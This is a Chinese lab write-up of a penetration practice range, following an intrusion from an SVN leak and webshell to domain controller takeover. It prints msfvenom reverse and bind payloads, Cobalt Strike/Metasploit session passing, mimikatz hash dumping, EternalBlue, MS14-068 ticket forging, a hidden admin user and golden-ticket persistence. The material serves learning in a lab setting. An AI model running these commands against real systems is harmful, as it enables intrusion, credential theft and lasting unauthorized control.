暗月渗透实战靶场-项目六

环境搭建

使用的是暗月提供的环境

直接虚拟机运行即可

设置网络环境

image-20220117220701685

网卡配置的时候为了方便直接使用的是暗月的vm19的网卡配置的内网环境

00x1-信息搜集

我们已经知道目标主机

192.168.1.150

使用masscan

1
sudo masscan -p 1-65535 192.168.1.150 --rate=1000

结果

image-20220117221059143

开启的有445、3389、80的特殊端口

断定是win服务器

访问

image-20220117221249423

直接访问是被拒绝的、典型的phpstady。

nmap扫描

这里暂时不管、我们继续扫描、查看开放的端口之后使用nmap就进行扫描

1
sudo nmap -p 3306,445,3389,80,47001,49152,49156,49153,135,49157 -sS -sC -A 192.168.1.150 -oA web150-p

Snipaste_2022-01-18_23-12-49

这里我们还发现了目标机使用的dns解析的地址信息

由于前面我们在访问的时候就知道是访问不了的肯定是需要进行域名的绑定的

image-20220118230848097

绑定完成后在访问

Snipaste_2022-01-18_23-14-42

一个信用贷的平台

使用whataweb查询网站的cms

1
whatweb www.webhack123.com

image-20220118231758790

使用的是thinkphp的框架

查询网站目录信息

使用dirsearch

1
python3 dirsearch.py  -u "www.webhack123.com" -e *

image-20220119002322057

使用gobuster

1
gobuster dir -u http://www.webhack123.com -w /usr/share/wordlists/dirb/big.txt -t 50 

image-20220119001338189

使用dirmap

1
2
3
python3 dirmap.py -i http://www.webhack123.com -lcf
项目
https://github.com/H4ckForJob/dirmap

image-20220119001908411

00x2-.svn泄露并利用

网站下载

在三个工具中我们发现是由.svn文件的、这里我们使用工具进行下载

我们先去进行访问一下

image-20220119145208358

发现是有内容的

使用工具进行下载

这里我们使用的工具是

进行下载

1
./rip-svn.pl -v -u http://www.webhack123.com/.svn

image-20220119145959277

然后我们可以看到下载的结果

image-20220119150057168

将源码下载下来

image-20220119151936240

00x3-网站审计

虽然我们将文件下载了下来但是发现是没有下载本应该存在的wc.db的数据库文件的、有的文件是需要我们自己进行下载的

image-20220119152959518

完成下载

wc.db数据库查看

对于db数据库我们可以使用sqlite软件进行打开

image-20220119153227431

对于这个数据表的作用我们只是为了查看网站的历史使用记录的情况、为了方便我们摸清楚网站的目录结构、这里我们是已经下载了网站的整个目录文件的

源码审计

这样我们对于整个网站的基本目录结构已经是知道了、查看有无后台管理登录页面

image-20220119154031822

网站的教程里面有一些配置信息的所在地

发现后台管理的地址

1
http://admin.webhack123.com/

这里还是需要进行域名绑定的

image-20220119215340284

然后我们再次访问

image-20220119215406318

这里就需要我们获取数据库管理员账号密码

接着往下看我们还掌握数据库的信息

image-20220119154829612

网站的日志文件

image-20220119154927646

对于这种有暴露完整的日志文件的、我们可以在日志文件中查看一下有无管理员修改密码的操作的记录、

我们可以在工具中的搜索功能自己进行搜索

image-20220119161639662

log日志遍历-寻找password

也可以写个脚本自己遍历文件的内容

但是这种方法只能是查找源码上面备份的、我们是不确定这个备份是不是最新的、所以我们要根据这个格式查找最新年份的log日志文件

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#coding:utf-8
import requests

testurl= "http://www.webhack123.com/App/Runtime/Logs/18_07_04.log"

url = "http://www.webhack123.com/App/Runtime/Logs/"

#关于日期
def logtime(url,yeas):
nurls = []
for month in range(1,13):
for day in range(1,33):
if month < 10:
if day < 10:
nurls.append(url+"%s_0%s_0%s.log" %(yeas,month,day))
else:
nurls.append(url+"%s_0%s_%s.log" %(yeas,month,day))
else:
if day < 10:
nurls.append(url+"%s_%s_0%s.log" %(yeas,month,day))
else:
nurls.append(url+"%s_%s_%s.log" %(yeas,month,day))
return nurls

#print(logtime(url,19))

yeas = [18,19,20,21]

for i in yeas:
nurls = logtime(url,i)
#print(nurls)
for j in nurls:
result = requests.get(j)
if result.status_code == 200:
print(j)
if "password" in result.text:
with open("webpasswd.txt","a",encoding="utf-8") as f:
f.write(result.text)

在次查找

image-20220119215956926

得到最新的密码

1
74c774ef39b5b977c1fd59dbfc73c3e380a65aa3

解密-登录

然后进行MD5解密

image-20220119220220668

但是要密码、哦豁花钱的东西咱不搞、换

somd5.com

image-20220119220414678

nice

去登陆

image-20220119220515342

登录成功

00x4-拿shell-查看目标机信息

先在平台逛逛、基本上管理员的用户后台都会有上传的地方的、

image-20220119220550845

写个小马、getshell

image-20220119220828832

查看基本信息

image-20220119221001326

system权限

查看配置文件

数据库

image-20220119221045050

配置文件

image-20220119221110615

尝试连接数据库

image-20220119221352324

查看数据表

image-20220119221523230

是可以查看的

然后我们查看网卡信息

image-20220119222444794

哦豁里面还有大动作

00x5-MSF+CS+冰蝎进行webshell的互联

文件上传–>cobaltstrike–>msf

cobaltstrike的getshell

制作攻击载荷

image-20220119224419163

生成文件并上传

image-20220119224511127

执行

image-20220119224546117

cs上线

image-20220119224650540

然后将sessio转发到msf上进行互联
配置msf
1
2
3
4
5
6
7
msfconcle
use /multi/handler
set payload windows/meterpreter/reverse_http
show options
set lhost 0.0.0.0
set lport 9999
run
在cs上新建监听器

image-20220119231356542

然后将上线的session转发到这个新建的监听器上

image-20220119231550977

然后等待msf上线即可

image-20220119231746963

msf成功上线

冰蝎–>msf–>cs

在冰蝎3.0以后就有反弹shell直接到msf的功能了

image-20220119232713733

直接选择连msf然后跟着下面的提示做就行

打开MSF

1
2
3
4
5
6
7
8
msfconcle
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
shwo options
set lhost 0.0.0.0
set port 9999
run

image-20220120152410906

执行完成过后在冰蝎的页面点击matesploit连接

image-20220120152337520

然后在msf上就会收到session会话

image-20220120152449478

然后进行设置session转发到cs上

1
2
3
4
5
6
7
8
9
10
11
先将msf上获得的session放到后台运行
background
然后使用 exploit/windows/local/payload_inject来注入一个新的payload到session中

设置新的payload
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set LHOST 192.168.1.130 //cs主机地址
set LPORT 4444 //随意设置监听端口,需要和cs保持一致
set session 1 //设置需要派送的meterpreter
set DisablePayloadHandler true //禁止产生一个新的handler

回到cs上建立新的监听器

image-20220120150430253

然后启用监听器

在msf里面执行run

image-20220120165018793

成功上线

image-20220120165100753

文件上传–>MSF–>CS

打开MSF

1
2
3
4
5
6
7
8
9
10
11
12
13
在msfvenom上生成攻击载荷
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.1.130 LPORT=9999 -f exe > shell.exe

在MSF上进行监听

use /multi/handler
set payload windows/x64/meterpreter/reverse_tcp
show options
set LHOST 0.0.0.0 //cs主机地址
set LPORT 9999 //随意设置监听端口,需要和cs保持一致
show options
run

将msfvenom生成的shell.exe上传到目标中

然后执行shell.exe的文件

这时候会在msf收到session会话

然后在将会话转发到cs上-就跟步骤二是一样的转发方式

当然以上这些互相的转发时对于cs上线使用的都是http协议的但是对于Linux的payload中是没有http协议的payload的

00x6-对目标机器进行信息搜集

我们可以在MSF里面进行执行命令

查看一下基本的信息

首先是获取用户的密码

1
2
3
hashdump
还可以使用这个命令查看
run post/windows/gather/smart_hashdump

image-20220120171213964

or

image-20220120171525039

也可以进入mimikatz交互(针对win开发的模块)

1
load mimikatz

查看其他配置及的证书文件

一般密码是由存在这里的

1
creds_kerberos

image-20220120173002063

00x7-域渗透

发现域

进入交互shell

1
shell

image-20220120173645648

查看网卡信息

image-20220120173702283

发现有乱码

1
chcp 65001

image-20220120173729615

然后就ok了

然后我们看到主机的DNS解析的地址有一个hackbox.com

image-20220120173906916

在看一下网卡的DNS_SERVER

image-20220120174005106

用其他的工具查看

image-20220120174152295

不行继续换

1
2
run post/windows/gather/enum_domains
run post/windows/gather/enum_domain

image-20220120174327069

or

image-20220120174455836

确定是在dc域里面

image-20220120174854966

直接ping域控

image-20220120174951711

这里发现的主机和上面查看到的是一样的、可以确定目标及确实是在一个dc的域控里面的、且该域控的服务器域名为hackbox.com

域收集

查看域

1
net view /domain

image-20220120175824124

查看域内的主机

1
net view /domain:hackbox

image-20220120175821297

发现两台主机

查看域内工作组的信息

1
net group /domain

image-20220120180252733

基本信息信息就这么多、然后使用MSF自带的功能

获取域内用户token

1
run post/windows/gather/enum_domain_tokens

image-20220120180524838

查看目标Windows上登录的用户

1
2
3
run enum_logged_on_users -l

run post/windows/gather/enum_logged_on_users

image-20220120193935329

进入dc域控

在MSF上设置路由

1
2
3
4
5
6
查看全局路由器
run get_local_subnets
添加10段的路由信息
run autoroute -s 10.10.10.0/24
查看添加的路由表信息
run autoroute -p

image-20220120195657323

设置代理

1
2
3
4
5
use auxiliary/server/socks_proxy
show options
设置代理
set SRVPORT 5555
run

image-20220120195908861

还要记得本地设置代理信息

添加配置信息

1
sudo vim /etc/proxychains4.conf

结果

img

然后尝试访问

1
proxychains4 ping 10.10.10.149

image-20220120200029342

扫描内网域控

masscan扫描

1
proxychains4 sudo masscan -p 1-65535 10.10.10.149 --rate=1000

image-20220120200832089

使用nmap进行探测

1
proxychains4 sudo nmap -sS -sC -A 10.10.10.149 -p 445,25,49162,3269,49155,47001,139,49153,49158,464,5722,9389,110,53,88,46154,135,636,3268,389,49157,593,49152,49174,49165 -oA 10.149-p

image-20220120210951393

发现开放的有445端口

对于windowss-server的机器我们可以直接用永恒之蓝打一下

1
search ms17_010

image-20220120212008843

先进行扫描查看是否能够利用漏洞

1
use auxiliary/scanner/smb/smb_ms17_010

image-20220120212320588

使用

image-20220120212353046

能够利用成功

MS17-010永恒之蓝打域控

使用ms17_010

1
2
3
4
5
6
7
use exploit/windows/smb/ms17_010_eternalblue
show optoins
设置payload
可以有多个选择
set payload windows/x64/meterpreter/reverse_tcp #但是一直连接不上去
换一个
set payload generic/shell_bind_tcp

image-20220120213501710

继续执行

image-20220120213604904

结果

image-20220120213632256

成功拿到dc域控的system的session会话

image-20220121003920130

提权成功

MS14-068域控提权 CVE-2014-6324

流程

域普通用户–>创建票据–>注入票据–>访问dc的权限–>域控超级管理员权限

域普通用户

我们需要一个域控里面的普通用户的账户密码

在前面的信息搜集中、我们已经知道目前控制的这个用户机web是属于dc域控里面的一个主机的

账户密码也在前面已经知道了、可以进行测试一下

打开web机的3389、开启远程服务

连接测试
1
run post/windows/manage/enable_rdp

150的web是已经开启了3389的我们直接测试就行

打开

image-20220120221642595

登录测试

image-20220120221710930

结果

image-20220120221719690

密码是对的但是web的用户在域控里面是没有3389权限的

尝试访问dc域控机器的C盘
1
dir \\dc\c$

image-20220120233217771

创建白银票据
使用工具

image-20220120222113163

上传到目标机中

image-20220120222218898

执行

image-20220120222319430

成功创建票据
1
ms14-068.exe -u web@hackbox.com -s S-1-5-21-2005268815-658469957-1189185684-1103 -d 10.10.10.149 -p !@#Qwe456

image-20220120224251533

image-20220120224644962

注入票据
使用工具mimikatz
1
use mimikatz

image-20220120230444681

首先查看并清除之前的票据

1
2
kerberos_ticket_list
kerberos_ticket_purge

image-20220120230630259

image-20220120230524181

导入票据

但是我们发现msf6上的mimikatz模块依旧是没有导入票据的功能

使用工具

image-20220120232115297

将文件上传到目标机器上

image-20220120232151984

然后执行

image-20220120232238438

对于票据的操作
1
2
3
kerberos::list  #查看本机票据
kerberos::purge #删除本机所有票据
kerberos::ptc TGT_web@hackbox.com.ccache #导入TGT_web@hackbox.com.ccache

image-20220120232511756

成功导入票据

image-20220120232648016

回到本机进行检查

1
klist

image-20220120233257762

访问dc
再次尝试访问dc域控的C盘文件
1
dir \\dc\c$

image-20220120233406614

成功访问

目前只有访问文件的权限

获取域控超级管理员权限

在上面我们已经成功的访问dc域控的文件并且对于文件我们能够做到、复制、执行、的权限

思路:

生成一个正向代理的攻击文件、上传到目标机上、在将攻击载荷copy到dc域控机上、然后使用at命令执行文件、MSF监听、这样就能触发正向代理

生成攻击载荷
1
msfvenom -p windows/meterpreter/bind_tcp lport=7789 -f exe >`pwd`/149.exe

image-20220121000327012

上传到目标机

image-20220121000529576

将攻击载荷copy到dc域控机

image-20220121000648739

1
copy 149.exe \\dc\c$\149.exe

image-20220121000906111

使用at命令执行文件

image-20220121001141006

就是相当于一个定时计划的命令

先查看时间

1
net time \\dc

image-20220121001336592

设置执行命令

1
at \\dc 0:16:00 c:/149.exe

image-20220121001531819

MSF监听

1
2
3
4
5
6
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
shwo options
set lport 7789
set rhost 10.10.10.149 #域控主机ip
run
成功上线

image-20220121002747760

image-20220121003053486

进程迁移

建立持久会话、将进程迁移到service.exe的系统服务里面

1
migrate 448

image-20220121003443540

拿到MSF的session以后下面可以做的就是进行MSF与CS的联动

方法还是和上面的一样

00x8-域攻击

dc域信息搜集

密码搜集

1
hashdump

image-20220121162020953

出来的并不全

使用另外的方法

1
run post/windows/gather/smart_hashdump

image-20220121162129435

这里的所有用户以及所有的hash密码都已经到手了

可以使用hash解密

也可以先查看一下用户的证书信息

1
2
use mimikatz
creds_kerberos

image-20220121162409938

同时密码还能在这里看

1
2
load mimikatz
creds_all

image-20220121163109583

用户SID搜集

1
2
3
run enum_logged_on_users -l

run post/windows/gather/enum_logged_on_users

image-20220121163527446

确定端口开放

前面我们在使用masscan扫描内网的时候已经知道了内网域控机是没有开启远程3389的、为了后面做准备我们还需要进行远程登录

登录远程桌面

步骤

开启3389–>制作system的影子用户–>登录

开启3389

1
2
远程终端
run post/windows/manage/enable_rdp

image-20220121164753430

制作影子用户

1
net user admin$ !@#123shell /add

image-20220121170544373

登录

1
proxychains4 rdesktop 10.10.10.149

image-20220121170653527

但是影子用户没有进入administractor的分组中

添加administractor分组

1
net localgroup administrators admini$ /add

image-20220121170924329

成功登录

image-20220121171017701

虽然前面是已经知道administractor的用户密码、而我们不选择直接登录而是去制作影子用户、就是为了防止主机报警

域控维权

制作黄金票据

黄金票据可以使我们永久的获取目标机器的控制权限、就算是主机密码修改、影子用户被删除、都可以保障我们能再次获得权限、

制作过程

制作黄金票据需要的条件
1.域名称
2.域的SID值
3.域的KRBTGT账户NTLM密码哈希
4.伪造用户名
步骤

清除之前的白银票据–>导出krbtgt的Hash–>生成Golden Ticket–>导入伪造

清除白银票据
1
2
load mimikatz
kerberos_ticket_purge

image-20220121172218578

导出krbtgt的Hash、SID值
获取krbtgt的Hash
1
run post/windows/gather/smart_hashdump
结果

image-20220121173526828

1
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6f60ace6accbcb76078ccc0312174e98
获取krbtgt的SID值

方法一

1
2
shell
wmic useraccount where name="krbtgt" get sid

image-20220121174729570

结果

1
2
3
wmic useraccount where name="krbtgt" get sid
SID
S-1-5-21-2005268815-658469957-1189185684-502

方法二:

1
dcsync_ntlm krbtgt

image-20220121175004489

如果我们使用system权限没有办法获取的时候可以窃取一个administractor的进程来执行

步骤

先查看系统进程、找一个administractor的进程、然后记录其ID值、使用steal_token命令

1
2
3
4
ps
steal_token ID
getuid
dcsync_ntlm krbtgt

image-20220121175445698

生成Golden Ticket
制作
1
2
3
golden_ticket_create

golden_ticket_create -d hackbox.com -u like4h -s S-1-5-21-2005268815-658469957-1189185684 -k 6f60ace6accbcb76078ccc0312174e98 -t /tmp/krbtgtlikr4h.ticket

image-20220121175953305

生成

image-20220121180058499

导入伪造
导入
1
2
来到域控下的web主机
kerberos_ticket_use /tmp/krbtgtlikr4h.ticket

image-20220121180626174

尝试访问dc域控

image-20220121180727216

00x9-写在最后

欢迎大家加入星球一起学习、里面有各种红队资源、工具、各种小技巧啊!

星球